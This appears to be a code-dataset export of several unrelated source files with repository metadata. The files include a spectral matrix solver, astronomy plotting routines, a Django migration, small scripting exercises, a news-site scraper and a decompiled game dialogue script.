If six arguments are provided they must be in order S, A, B, scale S,
scale A, scale B.
Variables are extracted from the matrices
The solver can be used along any axis of a multidimensional problem. For
example, if the Chebyshev basis (Biharmonic) is the last in a
3-dimensional TensorProductSpace, where the first two dimensions use Fourier,
then the 1D equation listed above arises when one is solving the 3D biharmonic
equation
.. math::
\nabla^4 u = b
With the spectral Galerkin method we multiply this equation with a test
function (:math:`v`) and integrate (weighted inner product :math:`(\cdot, \cdot)_w`)
over the domain
.. math::
(v, \nabla^4 u)_w = (v, b)_w
See `the Poisson problem <https://rawgit.com/spectralDNS/shenfun/master/docs/src/mekit17/pub/._shenfun_bootstrap004.html#sec:tensorproductspaces>`_
for details, since it is actually quite involved. But basically, one obtains
a linear algebra system to be solved along the :math:`z`-axis for all combinations
of the two Fourier indices :math:`k` and :math:`l`
.. math::
(S_{mj} - 2(k^2 + l^2) A_{mj}) + (k^2 + l^2)^2 B_{mj}) \hat{u}[k, l, j] = (v, b)_w[k, l, m]
Note that :math:`k` only varies along :math:`x`-direction, whereas :math:`l` varies along
:math:`y`. To allow for Numpy broadcasting these two variables are stored as arrays of
shape
.. math::
k : (N, 1, 1)
l : (1, M, 1)
Here it is assumed that the solution array :math:`\hat{u}` has shape
(N, M, P). Now, multiplying :math:`k` array with :math:`\hat{u}` is achieved as
.. math::
k \cdot \hat{u}
Numpy will then take care of broadcasting :math:`k` to an array of shape (N, M, P)
before performing the elementwise multiplication. Likewise, the constant
scale :math:`1` in front of the :math:`A_{mj}` matrix is stored with
shape (1, 1, 1), and multiplying with :math:`\hat{u}` is performed as if it
was a scalar (as it here happens to be).
This is where the scale arrays in the signature to the Helmholt solver comes
from. :math:`a_0` is here :math:`1`, whereas :math:`\alpha` and
:math:`\beta` are :math:`-2(k^2+l^2)` and :math:`(k^2+l^2)^2`, respectively.
Note that :math:`k+l` is an array of shape (N, M, 1).
"""
def __init__(self, *args):
args = list(args)
if isinstance(args[0], TPMatrix):
args = [arg for arg in args if not arg.is_bc_matrix()]
assert len(args) in (3, 6)
S, A, B = args[0], args[1], args[2]
M = {d.get_key(): d for d in (S, A, B)}
self.S = M['SBBmat']
self.A = M['ABBmat']
self.B = M['BBBmat']
if len(args) == 3:
self.a0 = a0 = np.atleast_1d(self.S.scale).item()
self.alfa = alfa = self.A.scale
self.beta = beta = self.B.scale
if isinstance(self.S, TPMatrix):
self.S = self.S.pmat
self.A = self.A.pmat
self.B = self.B.pmat
self.alfa *= self.A.scale
self.beta *= self.B.scale
elif len(args) == 6:
self.a0 = a0 = args[3]
self.alfa = alfa = args[4]
self.beta = beta = args[5]
S, A, B = self.S, self.A, self.B
self.axis = S.axis
T = S.tensorproductspace
if T is None:
shape = [S[0].shape]
else:
shape = list(T.shape(True))
sii, siu, siuu = S[0], S[2], S[4]
ail, aii, aiu = A[-2], A[0], A[2]
bill, bil, bii, biu, biuu = B[-4], B[-2], B[0], B[2], B[4]
M = sii[::2].shape[0]
shape[S.axis] = M
ss = copy(shape)
ss.insert(0, 2)
self.u0 = np.zeros(ss)
self.u1 = np.zeros(ss)
self.u2 = np.zeros(ss)
self.l0 = np.zeros(ss)
self.l1 = np.zeros(ss)
self.ak = np.zeros(ss)
self.bk = np.zeros(ss)
self.LU_Biharmonic(a0, alfa, beta, sii, siu, siuu, ail, aii, aiu,
bill, bil, bii, biu, biuu, self.u0, self.u1,
self.u2, self.l0, self.l1, self.axis)
self.Biharmonic_factor_pr(self.ak, self.bk, self.l0, self.l1, self.axis)
@staticmethod
@optimizer
def LU_Biharmonic(a0, alfa, beta, sii, siu, siuu, ail, aii, aiu,
bill, bil, bii, biu, biuu, u0, u1, u2, l0, l1, axis):
raise NotImplementedError('Use Cython or Numba')
@staticmethod
@optimizer
def Biharmonic_factor_pr(ak, bk, l0, l1, axis):
raise NotImplementedError('Use Cython or Numba')
@staticmethod
@optimizer
def Biharmonic_Solve(axis, b, u, u0, u1, u2, l0, l1, ak, bk, a0):
raise NotImplementedError('Use Cython or Numba')
@staticmethod
@optimizer
def Biharmonic_matvec(v, b, a0, alfa, beta,
sii, siu, siuu, ail, aii, aiu,
bill, bil, bii, biu, biuu, axis=0):
raise NotImplementedError('Use Cython or Numba')
def __call__(self, u, b):
"""Solve matrix problem
Parameters
----------
b : array
Array of right hand side on entry and solution on exit unless
u is provided.
u : array
Output array
If b and u are multidimensional, then the axis over which to solve for is
determined on creation of the class.
"""
self.Biharmonic_Solve(b, u, self.u0, self.u1, self.u2, self.l0,
self.l1, self.ak, self.bk, self.a0, self.axis)
if self.S.testfunction[0].has_nonhomogeneous_bcs:
self.S.testfunction[0].bc.set_boundary_dofs(u, True)
return u
def matvec(self, v, c):
c[:] = 0
self.Biharmonic_matvec(v, c, self.a0, self.alfa, self.beta, self.S[0],
self.S[2], self.S[4], self.A[-2], self.A[0],
self.A[2], self.B[-4], self.B[-2], self.B[0],
self.B[2], self.B[4], self.axis)
return c
class PDMA(object):
r"""Pentadiagonal matrix solver
Pentadiagonal matrix with diagonals in offsets -4, -2, 0, 2, 4
Arising with Poisson equation and biharmonic basis u
.. math::
\alpha u'' + \beta u = f
As 4 arguments
Parameters
----------
A : SpectralMatrix
Stiffness matrix
B : SpectralMatrix
Mass matrix
alfa : array
beta : array
or as dict with key/vals
Parameters
----------
solver : str
Choose between implementations ('cython', 'python')
ABBmat : A
Stiffness matrix
BBBmat : B
Mass matrix
where alfa and beta must be avalable as A.scale, B.scale.
Attributes
----------
axis : int
The axis over which to solve for
Variables are extracted from the matrices
"""
def __init__(self, *args, **kwargs):
if 'ABBmat' in kwargs:
assert 'BBBmat' in kwargs
A = self.A = kwargs['ABBmat']
B = self.B = kwargs['BBBmat']
self.alfa = A.scale
self.beta = B.scale
elif len(args) == 4:
A = self.A = args[0]
B = self.B = args[1]
self.alfa = args[2]
self.beta = args[3]
else:
raise RuntimeError('Wrong input to PDMA solver')
self.solver = kwargs.get('solver', 'cython')
self.d, self.u1, self.u2 = (np.zeros_like(B[0]), np.zeros_like(B[2]),
np.zeros_like(B[4]))
self.l1, self.l2 = np.zeros_like(B[2]), np.zeros_like(B[4])
self.alfa = np.atleast_1d(self.alfa)
self.beta = np.atleast_1d(self.beta)
shape = list(self.beta.shape)
if len(shape) == 1:
if self.solver == 'python':
H = self.alfa[0]*self.A + self.beta[0]*self.B
self.d[:] = H[0]
self.u1[:] = H[2]
self.u2[:] = H[4]
self.l1[:] = H[-2]
self.l2[:] = H[-4]
self.PDMA_LU(self.l2, self.l1, self.d, self.u1, self.u2)
elif self.solver == 'cython':
la.LU_Helmholtz_Biharmonic_1D(self.A, self.B, self.alfa[0],
self.beta[0], self.l2, self.l1,
self.d, self.u1, self.u2)
else:
self.axis = A.axis
assert self.alfa.shape[A.axis] == 1
assert self.beta.shape[A.axis] == 1
N = A.shape[0]+4
self.alfa = np.broadcast_to(self.alfa, shape).copy()
shape[A.axis] = N
self.d = np.zeros(shape, float) # Diagonal entries of U
self.u1 = np.zeros(shape, float) # Diagonal+2 entries of U
self.l1 = np.zeros(shape, float) # Diagonal-2 entries of U
self.u2 = np.zeros(shape, float) # Diagonal+4 entries of U
self.l2 = np.zeros(shape, float) # Diagonal-4 entries of U
if len(shape) == 2:
raise NotImplementedError
elif len(shape) == 3:
la.LU_Helmholtz_Biharmonic_3D(A, B, A.axis, self.alfa, self.beta, self.l2,
self.l1, self.d, self.u1, self.u2)
@staticmethod
def PDMA_LU(l2, l1, d, u1, u2): # pragma: no cover
"""LU decomposition of PDM (for testing only)"""
n = d.shape[0]
m = u1.shape[0]
k = n - m
for i in range(n-2*k):
lam = l1[i]/d[i]
d[i+k] -= lam*u1[i]
u1[i+k] -= lam*u2[i]
l1[i] = lam
lam = l2[i]/d[i]
l1[i+k] -= lam*u1[i]
d[i+2*k] -= lam*u2[i]
l2[i] = lam
i = n-4
lam = l1[i]/d[i]
d[i+k] -= lam*u1[i]
l1[i] = lam
i = n-3
lam = l1[i]/d[i]
d[i+k] -= lam*u1[i]
l1[i] = lam
@staticmethod
def PDMA_Solve(l2, l1, d, u1, u2, b): # pragma: no cover
"""Solve method for PDM (for testing only)"""
n = d.shape[0]
bc = np.full_like(b, b)
bc[2] -= l1[0]*bc[0]
bc[3] -= l1[1]*bc[1]
for k in range(4, n):
bc[k] -= (l1[k-2]*bc[k-2] + l2[k-4]*bc[k-4])
bc[n-1] /= d[n-1]
bc[n-2] /= d[n-2]
bc[n-3] /= d[n-3]
bc[n-3] -= u1[n-3]*bc[n-1]/d[n-3]
bc[n-4] /= d[n-4]
bc[n-4] -= u1[n-4]*bc[n-2]/d[n-4]
for k in range(n-5, -1, -1):
bc[k] /= d[k]
bc[k] -= (u1[k]*bc[k+2]/d[k] + u2[k]*bc[k+4]/d[k])
b[:] = bc
def __call__(self, u, b):
"""Solve matrix problem
Parameters
----------
b : array
Array of right hand side on entry and solution on exit unless
u is provided.
u : array
Output array
If b and u are multidimensional, then the axis over which to solve for
is determined on creation of the class.
"""
if np.ndim(u) == 3:
la.Solve_Helmholtz_Biharmonic_3D_ptr(self.A.axis, b, u, self.l2,
self.l1, self.d, self.u1,
self.u2)
elif np.ndim(u) == 2:
la.Solve_Helmholtz_Biharmonic_2D_ptr(self.A.axis, b, u, self.l2,
self.l1, self.d, self.u1,
self.u2)
else:
if self.solver == 'python': # pragma: no cover
u[:] = b
self.PDMA_Solve(self.l2, self.l1, self.d, self.u1, self.u2, u)
elif self.solver == 'cython':
if u is b:
u = np.zeros_like(b)
#la.Solve_Helmholtz_Biharmonic_1D(b, u, self.l2, self.l1,
# self.d, self.u1, self.u2)
la.Solve_Helmholtz_Biharmonic_1D_p(b, u, self.l2, self.l1,
self.d, self.u1, self.u2)
#u /= self.mat.scale
return u
| [
"[email protected]"
] | |
4ec1e9d4f1bf6fc799449cbd2aab1ab8e609c661 | eed0523056fec042d24180bd1f5443d9c510c271 | /TheCannon/spectral_model.py | 0b189fab510068fb42b0233fa0d4e6f756e2b769 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | minzastro/TheCannon | 3c42c0e775193d8dd3f649cc850da4afa7d61ebb | 5e624f9e5699ef26b905832f166d13a9733153ff | refs/heads/master | 2021-01-21T09:02:11.711509 | 2016-04-14T11:52:50 | 2016-04-14T11:52:50 | 56,233,122 | 0 | 0 | null | 2016-04-14T11:49:49 | 2016-04-14T11:49:47 | Python | UTF-8 | Python | false | false | 8,969 | py | from __future__ import (absolute_import, division, print_function, unicode_literals)
import numpy as np
import os
import random
from .helpers.corner import corner
import matplotlib.pyplot as plt
from matplotlib import colorbar
def draw_spectra(model, dataset):
""" Generate best-fit spectra for all the test objects
Parameters
----------
model: CannonModel
The Cannon spectral model
dataset: Dataset
Dataset that needs label inference
Returns
-------
best_fluxes: ndarray
The best-fit test fluxes
best_ivars:
The best-fit test inverse variances
"""
coeffs_all, covs, scatters, red_chisqs, pivots, label_vector = model.model
nstars = len(dataset.test_SNR)
cannon_flux = np.zeros(dataset.test_flux.shape)
cannon_ivar = np.zeros(dataset.test_ivar.shape)
for i in range(nstars):
x = label_vector[:,i,:]
spec_fit = np.einsum('ij, ij->i', x, coeffs_all)
cannon_flux[i,:] = spec_fit
bad = dataset.test_ivar[i,:] == SMALL**2
cannon_ivar[i,:][~bad] = 1. / scatters[~bad] ** 2
return cannon_flux, cannon_ivar
def overlay_spectra(model, dataset):
""" Run a series of diagnostics on the fitted spectra
Parameters
----------
model: model
best-fit Cannon spectral model
dataset: Dataset
original spectra
"""
best_flux, best_ivar = draw_spectra(model, dataset)
coeffs_all, covs, scatters, all_chisqs, pivots, label_vector = model.model
# Overplot original spectra with best-fit spectra
print("Overplotting spectra for ten random stars")
res = dataset.test_flux-best_flux
lambdas = dataset.wl
npix = len(lambdas)
nstars = best_flux.shape[0]
pickstars = []
for i in range(10):
pickstars.append(random.randrange(0, nstars-1))
for i in pickstars:
print("Star %s" % i)
ID = dataset.test_ID[i]
spec_orig = dataset.test_flux[i,:]
bad = dataset.test_flux[i,:] == 0
lambdas = np.ma.array(lambdas, mask=bad, dtype=float)
npix = len(lambdas.compressed())
spec_orig = np.ma.array(dataset.test_flux[i,:], mask=bad)
spec_fit = np.ma.array(best_flux[i,:], mask=bad)
ivars_orig = np.ma.array(dataset.test_ivar[i,:], mask=bad)
ivars_fit = np.ma.array(best_ivar[i,:], mask=bad)
red_chisq = np.sum(all_chisqs[:,i], axis=0) / (npix - coeffs_all.shape[1])
red_chisq = np.round(red_chisq, 2)
fig,axarr = plt.subplots(2)
ax1 = axarr[0]
im = ax1.scatter(lambdas, spec_orig, label="Orig Spec",
c=1 / np.sqrt(ivars_orig), s=10)
ax1.scatter(lambdas, spec_fit, label="Cannon Spec", c='r', s=10)
ax1.errorbar(lambdas, spec_fit,
yerr=1/np.sqrt(ivars_fit), fmt='ro', ms=1, alpha=0.7)
ax1.set_xlabel(r"Wavelength $\lambda (\AA)$")
ax1.set_ylabel("Normalized flux")
ax1.set_title("Spectrum Fit: %s" % ID)
ax1.set_title("Spectrum Fit")
ax1.set_xlim(min(lambdas.compressed())-10, max(lambdas.compressed())+10)
ax1.legend(loc='lower center', fancybox=True, shadow=True)
ax2 = axarr[1]
ax2.scatter(spec_orig, spec_fit, c=1/np.sqrt(ivars_orig), alpha=0.7)
ax2.errorbar(spec_orig, spec_fit, yerr=1 / np.sqrt(ivars_fit),
ecolor='k', fmt="none", ms=1, alpha=0.7)
#fig.subplots_adjust(right=0.8)
#cbar_ax = fig.add_axes([0.85, 0.15, 0.05, 0.7])
fig.colorbar()
#fig.colorbar(
# im, cax=cbar_ax,
# label="Uncertainties on the Fluxes from the Original Spectrum")
xlims = ax2.get_xlim()
ylims = ax2.get_ylim()
lims = [np.min([xlims, ylims]), np.max([xlims, ylims])]
ax2.plot(lims, lims, 'k-', alpha=0.75)
textstr = "Red Chi Sq: %s" % red_chisq
props = dict(boxstyle='round', facecolor='palevioletred', alpha=0.5)
ax2.text(0.05, 0.95, textstr, transform=ax2.transAxes, fontsize=14,
verticalalignment='top', bbox=props)
ax2.set_xlim(xlims)
ax2.set_ylim(ylims)
ax2.set_xlabel("Orig Fluxes")
ax2.set_ylabel("Fitted Fluxes")
plt.tight_layout()
filename = "best_fit_spec_Star%s.png" % i
print("Saved as %s" % filename)
fig.savefig(filename)
plt.close(fig)
def residuals(cannon_set, dataset):
""" Stack spectrum fit residuals, sort by each label. Include histogram of
the RMS at each pixel.
Parameters
----------
cannon_set: Dataset
best-fit Cannon spectra
dataset: Dataset
original spectra
"""
print("Stacking spectrum fit residuals")
res = dataset.test_fluxes - cannon_set.test_fluxes
bad = dataset.test_ivars == SMALL**2
err = np.zeros(len(dataset.test_ivars))
err = np.sqrt(1. / dataset.test_ivars + 1. / cannon_set.test_ivars)
res_norm = res / err
res_norm = np.ma.array(res_norm,
mask=(np.ones_like(res_norm) *
(np.std(res_norm,axis=0) == 0)))
res_norm = np.ma.compress_cols(res_norm)
for i in range(len(cannon_set.get_plotting_labels())):
label_name = cannon_set.get_plotting_labels()[i]
print("Plotting residuals sorted by %s" % label_name)
label_vals = cannon_set.tr_label_vals[:,i]
sorted_res = res_norm[np.argsort(label_vals)]
mu = np.mean(sorted_res.flatten())
sigma = np.std(sorted_res.flatten())
left, width = 0.1, 0.65
bottom, height = 0.1, 0.65
bottom_h = left_h = left+width+0.1
rect_scatter = [left, bottom, width, height]
rect_histx = [left, bottom_h, width, 0.1]
rect_histy = [left_h, bottom, 0.1, height]
plt.figure()
axScatter = plt.axes(rect_scatter)
axHistx = plt.axes(rect_histx)
axHisty = plt.axes(rect_histy)
im = axScatter.imshow(sorted_res, cmap=plt.cm.bwr_r,
interpolation="nearest", vmin=mu - 3. * sigma,
vmax=mu + 3. * sigma, aspect='auto',
origin='lower', extent=[0, len(dataset.wl),
min(label_vals),
max(label_vals)])
cax, kw = colorbar.make_axes(axScatter.axes, location='bottom')
plt.colorbar(im, cax=cax, orientation='horizontal')
axScatter.set_title(
r"Spectral Residuals Sorted by ${0:s}$".format(label_name))
axScatter.set_xlabel("Pixels")
axScatter.set_ylabel(r"$%s$" % label_name)
axHisty.hist(np.std(res_norm,axis=1)[~np.isnan(np.std(res_norm, axis=1))], orientation='horizontal', range=[0,2])
axHisty.axhline(y=1, c='k', linewidth=3, label="y=1")
axHisty.legend(bbox_to_anchor=(0., 0.8, 1., .102),
prop={'family':'serif', 'size':'small'})
axHisty.text(1.0, 0.5, "Distribution of Stdev of Star Residuals",
verticalalignment='center', transform=axHisty.transAxes,
rotation=270)
axHisty.set_ylabel("Standard Deviation")
start, end = axHisty.get_xlim()
axHisty.xaxis.set_ticks(np.linspace(start, end, 3))
axHisty.set_xlabel("Number of Stars")
axHisty.xaxis.set_label_position("top")
axHistx.hist(np.std(res_norm, axis=0)[~np.isnan(np.std(res_norm, axis=0))], range=[0.8,1.1])
axHistx.axvline(x=1, c='k', linewidth=3, label="x=1")
axHistx.set_title("Distribution of Stdev of Pixel Residuals")
axHistx.set_xlabel("Standard Deviation")
axHistx.set_ylabel("Number of Pixels")
start, end = axHistx.get_ylim()
axHistx.yaxis.set_ticks(np.linspace(start, end, 3))
axHistx.legend()
filename = "residuals_sorted_by_label_%s.png" % i
plt.savefig(filename)
print("File saved as %s" % filename)
plt.close()
# Auto-correlation of mean residuals
print("Plotting Auto-Correlation of Mean Residuals")
mean_res = res_norm.mean(axis=0)
autocorr = np.correlate(mean_res, mean_res, mode="full")
pkwidth = int(len(autocorr)/2-np.argmin(autocorr))
xmin = int(len(autocorr)/2)-pkwidth
xmax = int(len(autocorr)/2)+pkwidth
zoom_x = np.linspace(xmin, xmax, len(autocorr[xmin:xmax]))
fig, axarr = plt.subplots(2)
axarr[0].plot(autocorr)
axarr[0].set_title("Autocorrelation of Mean Spectral Residual")
axarr[0].set_xlabel("Lag (# Pixels)")
axarr[0].set_ylabel("Autocorrelation")
axarr[1].plot(zoom_x, autocorr[xmin:xmax])
axarr[1].set_title("Central Peak, Zoomed")
axarr[1].set_xlabel("Lag (# Pixels)")
axarr[1].set_ylabel("Autocorrelation")
filename = "residuals_autocorr.png"
plt.savefig(filename)
print("saved %s" % filename)
plt.close()
| [
"[email protected]"
] | |
a17913347b44df299ab37d00d470e56f8528439c | 3a533d1503f9a1c767ecd3a29885add49fff4f18 | /saleor/channel/migrations/0009_channel_order_mark_as_paid_strategy.py | 95a5a766de46242230839a732b42f3449cc37be9 | [
"BSD-3-Clause"
] | permissive | jonserna/saleor | 0c1e4297e10e0a0ce530b5296f6b4488f524c145 | b7d1b320e096d99567d3fa7bc4780862809d19ac | refs/heads/master | 2023-06-25T17:25:17.459739 | 2023-06-19T14:05:41 | 2023-06-19T14:05:41 | 186,167,599 | 0 | 0 | BSD-3-Clause | 2019-12-29T15:46:40 | 2019-05-11T18:21:31 | TypeScript | UTF-8 | Python | false | false | 885 | py | # Generated by Django 3.2.17 on 2023-02-08 14:43
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("channel", "0008_update_null_order_settings"),
]
operations = [
migrations.AddField(
model_name="channel",
name="order_mark_as_paid_strategy",
field=models.CharField(
choices=[
("transaction_flow", "Use transaction"),
("payment_flow", "Use payment"),
],
default="payment_flow",
max_length=255,
),
),
migrations.RunSQL(
"""
ALTER TABLE channel_channel
ALTER COLUMN order_mark_as_paid_strategy
SET DEFAULT 'payment_flow';
""",
migrations.RunSQL.noop,
),
]
| [
"[email protected]"
] | |
c5d40f8d86bda2cc8edb8289f91a916ebb6672e0 | d554b1aa8b70fddf81da8988b4aaa43788fede88 | /5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/226/users/4254/codes/1664_1394.py | ec3158649ae06f42008199af8c1253c3184e5b02 | [] | no_license | JosephLevinthal/Research-projects | a3bc3ca3b09faad16f5cce5949a2279cf14742ba | 60d5fd6eb864a5181f4321e7a992812f3c2139f9 | refs/heads/master | 2022-07-31T06:43:02.686109 | 2020-05-23T00:24:26 | 2020-05-23T00:24:26 | 266,199,309 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 137 | py | h = float(input("Quantidade de horas: "))
if(h > 20):
p = (20*50 + ((h-20)*70))
print(round(p,2))
else:
p = (h*50)
print(round(p,2)) | [
"[email protected]"
] | |
1d9741f463b1d422f98b321108ff9be5434e51a6 | a9020c87d73200edd826719a751455033883c968 | /treeexamples/example_1.py | 0113e12ee3add24d617dd317054f9563cc854ab3 | [
"MIT"
] | permissive | martinohanlon/GPIOXmasTreeGame | 6d73f1bff190613481e29f2862250c339192e2c3 | 0d32ff7ca4fe3c2b536f5fa4490d09c1caf54b3a | refs/heads/master | 2021-01-25T08:37:28.163740 | 2014-12-30T09:10:20 | 2014-12-30T09:10:20 | 28,156,951 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 657 | py | import tree
# Some constants to identify each LED
L0 = 1
L1 = 2
L2 = 4
L3 = 8
L4 = 16
L5 = 32
L6 = 64
ALL = 1+2+4+8+16+32+64
NO_LEDS = 0
tree.setup() # you must always call setup() first!
# Pattern: flash each LED in turn
for i in range(5): # repeat 5 times
tree.leds_on_and_wait(L0, 0.3) # LED 0 on for 0.3 seconds
tree.leds_on_and_wait(L1, 0.3) # LED 1 on for 0.3 seconds
tree.leds_on_and_wait(L2, 0.3) # etc.
tree.leds_on_and_wait(L3, 0.3)
tree.leds_on_and_wait(L4, 0.3)
tree.leds_on_and_wait(L5, 0.3)
tree.leds_on_and_wait(L6, 0.3)
tree.all_leds_off() # extinguish all LEDs
# All done!
tree.cleanup() # call cleanup() at the end
| [
"[email protected]"
] | |
47e85f905e266f6fcbb4559c46c65de19a683b18 | d84441b3426c9966aa072ad2ce9e9f5216527a54 | /unfeed/sites/qdaily.py | aa774292eb813efd4ee54c7e4605b032b3cb9983 | [] | no_license | tonicbupt/unfeed | 96919010ab7dcca5cd120dfe739170ea42ea17e5 | 1fcab5acdbc1f41897f17eeabcf55c5867fc3d04 | refs/heads/master | 2020-12-25T10:34:53.962785 | 2014-05-24T10:57:10 | 2014-05-24T10:57:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,632 | py | import copy
from brownant import Site, Dinergate
from brownant.pipeline import (TextResponseProperty, ElementTreeProperty,
XPathTextProperty)
from werkzeug.utils import cached_property
from lxml.html import tostring
from dateutil.parser import parse as parse_datetime
from unfeed.utils.etree import eliminate_relative_urls
from .pipeline import DictionaryProperty, DictionaryValueProperty
site = Site('qdaily.com')
@site.route('qdaily.com', '/', defaults={'page': 1})
class QdailyIndex(Dinergate):
URL_BASE = 'http://qdaily.com'
URL_TEMPLATE = '{self.URL_BASE}/display/homes/articlemore?page={self.page}'
text_response = TextResponseProperty()
dict_response = DictionaryProperty()
html_response = DictionaryValueProperty(dict_key='html')
etree = ElementTreeProperty(text_response_attr='html_response')
def __iter__(self):
xpath_base = '//div[@class="article-container"]'
xpath_hd = xpath_base + '//div[@class="content"]'
xpath_bd = xpath_base + '//div[contains(@class, "hover-content")]'
category = self.etree.xpath(
xpath_hd + '//p[@class="category"]/a/text()')
title = self.etree.xpath(xpath_bd + '//h2/a/text()')
url = self.etree.xpath(xpath_bd + '//h2/a/@href')
description = self.etree.xpath(
xpath_bd + '//div[@class="excerpt"]/a/text()')
return zip(category, title, url, description)
@site.route('qdaily.com', '/display/articles/<int:item_id>')
class QdailyArticle(Dinergate):
URL_BASE = QdailyIndex.URL_BASE
URL_TEMPLATE = '{self.URL_BASE}/display/articles/{self.item_id}'
text_response = TextResponseProperty()
etree = ElementTreeProperty()
title = XPathTextProperty(xpath='//h2[@class="main-title"]/text()')
subtitle = XPathTextProperty(xpath='//h4[@class="sub-title"]/text()')
author = XPathTextProperty(
xpath='//*[contains(@class, "author")]/span[@class="name"]/text()')
content_etree = XPathTextProperty(
xpath='//*[contains(@class, "article-detail")]/div[@class="bd"]',
pick_mode='first')
published_text = XPathTextProperty(
xpath='//*[contains(@class, "author")]/span[@class="date"]/text()')
@cached_property
def content(self):
content_etree = eliminate_relative_urls(
self.content_etree, self.URL_BASE, without_side_effect=True)
html = tostring(
content_etree, pretty_print=True, encoding='unicode')
return html.strip()
@cached_property
def published(self):
return parse_datetime(self.published_text.strip())
| [
"[email protected]"
] | |
10e3aaffe8146d35b918e3207254fa0f21c92912 | 80301f1cffc5afce13256e2ecab6323c5df00194 | /en.3rd/py/U7003_5.py | fffd6e2a94a4a0004232ce03d4503c83622406f9 | [] | no_license | ZhenjianYang/SoraVoiceScripts | c1ddf7c1bbcb933243754f9669bd6b75777c87b9 | 94a948090aba0f63b10b2c69dc845dc99c822fc4 | refs/heads/master | 2023-04-18T04:54:44.306652 | 2023-04-06T11:15:17 | 2023-04-06T11:15:17 | 103,167,541 | 43 | 11 | null | 2021-03-06T08:52:54 | 2017-09-11T17:36:55 | Python | UTF-8 | Python | false | false | 237,917 | py | from ED63RDScenarioHelper import *
def main():
SetCodePage("ms932")
CreateScenaFile(
FileName = 'U7003_5 ._SN',
MapName = 'Gaiden2',
Location = 'U7003.x',
MapIndex = 1,
MapDefaultBGM = "ed60000",
Flags = 0,
EntryFunctionIndex = 0xFFFF,
Reserved = 0,
IncludedScenario = [
'',
'',
'',
'',
'',
'',
'',
''
],
)
BuildStringList(
'@FileName', # 8
)
DeclEntryPoint(
Unknown_00 = 0,
Unknown_04 = 0,
Unknown_08 = 0,
Unknown_0C = 4,
Unknown_0E = 5,
Unknown_10 = 0,
Unknown_14 = 9500,
Unknown_18 = -10000,
Unknown_1C = 0,
Unknown_20 = 0,
Unknown_24 = 2500,
Unknown_28 = 2800,
Unknown_2C = 262,
Unknown_30 = 45,
Unknown_32 = 0,
Unknown_34 = 360,
Unknown_36 = 0,
Unknown_38 = 1,
Unknown_3A = 1,
InitScenaIndex = 0,
InitFunctionIndex = 0,
EntryScenaIndex = 0,
EntryFunctionIndex = 1,
)
ScpFunction(
"Function_0_AA", # 00, 0
"Function_1_AB", # 01, 1
"Function_2_AC", # 02, 2
"Function_3_12EE", # 03, 3
"Function_4_1983", # 04, 4
"Function_5_2D90", # 05, 5
"Function_6_46BD", # 06, 6
"Function_7_6654", # 07, 7
"Function_8_735E", # 08, 8
"Function_9_955E", # 09, 9
"Function_10_ABCF", # 0A, 10
"Function_11_AF11", # 0B, 11
"Function_12_CB19", # 0C, 12
)
def Function_0_AA(): pass
label("Function_0_AA")
Return()
# Function_0_AA end
def Function_1_AB(): pass
label("Function_1_AB")
Return()
# Function_1_AB end
def Function_2_AC(): pass
label("Function_2_AC")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x584, 0)), scpexpr(EXPR_END)), "loc_5A1")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 5)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_495")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x8)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_32A")
ChrTalk( #0
0x11,
(
"#1936F...\x02\x03",
"Five years ago, Kevin and Rufina did all they could\x01",
"to help me and save me from danger.\x02\x03",
"#1938FThey might have regretted the outcome, but that\x01",
"doesn't change their intentions--or how important\x01",
"they both are to me.\x02",
)
)
CloseMessageWindow()
TurnDirection(0xFE, 0x109, 400)
Sleep(300)
ChrTalk( #1
0x11,
(
"#1932FThat's why we need to defeat the Lord of\x01",
"Phantasma. Together.\x02\x03",
"For Rufina as well as anyone else.\x02",
)
)
CloseMessageWindow()
ChrTalk( #2
0x109,
(
"#1075FYeah. You're right.\x02\x03",
"...\x02\x03",
"#1079FWhat're you doing here, by the way?\x02",
)
)
CloseMessageWindow()
OP_62(0xFE, 0x0, 2000, 0x28, 0x2B, 0x64, 0x3)
Sleep(300)
ChrTalk( #3
0x11,
(
"#1940FE-Ensuring the army has enough in the\x01",
"way of rations is key to any operation.\x01",
"That's what I'm doing.\x02\x03",
"...Laugh, and I will whack you.\x02",
)
)
CloseMessageWindow()
Jump("loc_48F")
label("loc_32A")
ChrTalk( #4
0x11,
(
"#1936F...\x02\x03",
"Five years ago, Kevin and Rufina did all they could\x01",
"to help me and save me from danger.\x02\x03",
"#1938FThey might have regretted the outcome, but that\x01",
"doesn't change their intentions--or how important\x01",
"they both are to me.\x02",
)
)
CloseMessageWindow()
TurnDirection(0xFE, 0x0, 400)
Sleep(300)
ChrTalk( #5
0x11,
(
"#1932FThat's why we need to defeat the Lord of\x01",
"Phantasma. Together.\x02\x03",
"#1932FFor Rufina as well as anyone else.\x02",
)
)
CloseMessageWindow()
label("loc_48F")
OP_A2(0x2665)
Jump("loc_596")
label("loc_495")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x8)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_51E")
TurnDirection(0xFE, 0x109, 0)
ChrTalk( #6
0x11,
(
"#1936FWe need to defeat the Lord of Phantasma\x01",
"with our own hands.\x02\x03",
"#1932FFor Rufina as well as anyone else.\x02",
)
)
CloseMessageWindow()
Jump("loc_596")
label("loc_51E")
TurnDirection(0xFE, 0x0, 0)
ChrTalk( #7
0x11,
(
"#1936FWe need to defeat the Lord of Phantasma\x01",
"with our own hands.\x02\x03",
"#1932FFor Rufina as well as anyone else.\x02",
)
)
CloseMessageWindow()
label("loc_596")
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_12ED")
label("loc_5A1")
